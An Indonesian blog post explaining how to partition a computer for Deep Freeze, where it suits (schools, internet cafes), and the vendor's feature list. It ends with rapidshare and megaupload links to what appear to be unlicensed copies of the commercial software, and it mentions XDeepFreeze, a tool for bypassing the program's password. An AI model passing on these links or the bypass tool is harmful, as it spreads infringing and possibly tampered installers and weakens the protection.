Untuk memakai Deep Freeze sebaiknya komputer anda dibagi menjadi setidaknya 2 partisi yaitu partisi "master" untuk instalasi sistem OS komputer seperti Windows, yang kedua partisi "secondary" untuk data, installer maupun backup.

Ada beberapa orang yang memakai software ini membagi partisinya hingga 3 sampai 4 untuk data/installer/backup. Saya sarankan kalau komputer anda mempunyai memori besar dan harddisk yang aksesnya cepat (SATA setidaknya) baru boleh melakukannya karena sistem komputer akan menjadi lambat terutama ketika loading.kalo terlalu banyak partisi tidak percaya coba aja d.

Ingat Yang anda pakai untuk Deep Freeze hanya partisi sistem anda saja atau partisi "master" karena partisi ini yang paling banyak diserang oleh virus atau mengalami masalah dengan OS ketika startup.

Untuk partisi data sebaiknya tidak perlu dipasang Deep Freeze karena anda tidak ingin ketika komputer anda restart data anda hilang atau kembali ke posisi semula sebelum terjadi perubahan. Kalau komputer anda singel partition (hanya ada "C" saja tidak ada "D", dimana "D" bukan CD/DVD-ROM atau RW), sebaiknya anda jangan memakai software ini kecuali anda mau mengubahnya menjadi 2 partisi dengan menggunakan software seperti Partition Magic.



Satu hal yang penting lagi, untuk pengisian password, anda jangan sampai lupa password anda karena akan berakibat fatal bagi anda karena tidak dapat mengubah setting dari Deep Freeze dan bahkan tidak dapat meng-uninstallnya. Ada software yang bernama XDeepFreeze dapat mengatasi hal ini tapi software ini kadang-kadang dapat merusak sistem OS anda.
Deep Freeze sangat cocok untuk komputer yang biasanya fungsinya cuma untuk menjalankan software yang sifatnya rutin dan jarang terjadi perubahan, seperti:
  • Komputer yang ditaruh di tempat umum dan bisa diakses oleh beberapa orang seperti komputer di sekolah, perpustakaan, bank, dan kantor pemerintah atau layanan publik
  • Komputer yang digunakan untuk rental seperti warnet dan game center
  • Komputer kerja di kantor atau di rumah yang sering akses ke internet dan install program buat testing saja setelah itu di uninstall
  • Komputer yang sering kena virus, yang pemakainya tidak mau ambil pusing tiap kali install atau format Windows
  • Server komputer yang biasanya dipakai untuk akses online atau internet
Deep Freeze sendiri membagi produknya menjadi beberapa jenis. Untuk kategori client dan server dan masing-masing terbagi lagi menjadi Deep Freeze Standard dan Deep Freeze Enterprise. Kalau anda untuk pemakaian di komputer rumah, kantor maupun warnet saja, sudah cukup anda memakai Deep Freeze Standard untuk client saja. Berikut info yang kami dapatkan dari situs Deep Freeze:


Deep Freeze Standard is changing the way IT Professionals protect small multi-user environments. Simple, robust, and cost effective Deep Freeze Standard is ideal for computing environments with 10 or less workstations.
Absolute Protection
  • Guarantees 100% workstation recovery on restart
  • Provides password protection and complete security
  • Protects multiple hard drives and partitions
  • Protects CMOS
  • Protects master boot record
Integration and Compatibility
  • Supports multiple hard drives and partitions
  • Supports multi-boot environments
  • Compatible with Fast User Switching
  • Supports SCSI, ATA, SATA, and IDE hard drives
  • Offers single install for Windows 95, 98, ME, 2000, XP
  • Compatible with FAT, FAT32, NTFS, basic and dynamic disks
Deployment Options
  • Offers silent install option for rapid network deployment
  • Provides option to deploy on multiple workstations as part of a master image

Deep Freeze 3.32 Win98-ME (1.14 MB):
h--p://rapidshare.de/files/19192841/DeepFreeze.v3.32.w98.ME.rar
h--p://www.megaupload.com/?d=LPQ1J7TQ

Deep Freeze Standard v5.70.020.1372 (2.37 MB):
h--p://rapidshare.de/files/19192789/DeepFreeze.Std.v5.70.220.1372.rar
h--p://www.megaupload.com/?d=1HGERKTI
h--p://i66.photobucket.com/albums/h252/oprekpc/balthaZor/df5std.png

Deep Freeze Enterprise 5.70.220.1372 (32.07 MB):
h--p://rapidshare.de/files/19194503/DeepFreeze.Ent.v5.70.220.1372.rar
h--p://www.megaupload.com/?d=LZ55DH2F
h--p://i66.photobucket.com/albums/h252/oprekpc/balthaZor/df5ent.jpg

untuk deepfreze terbaru anda bisa download dikasku atau pun di free download dibawah blog ini

ini adalah linknya Deepfreze 6 Standar

SEO

Site Submission to top Search Engines
.If you wish to become medical transcriptionist then you need to check our Medical transcription training Online blog.

Subscribe

Donec sed odio dui. Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio. Duis mollis

© 2013 Catatan Kuliah. All rights reserved.
Designed by SpicyTricks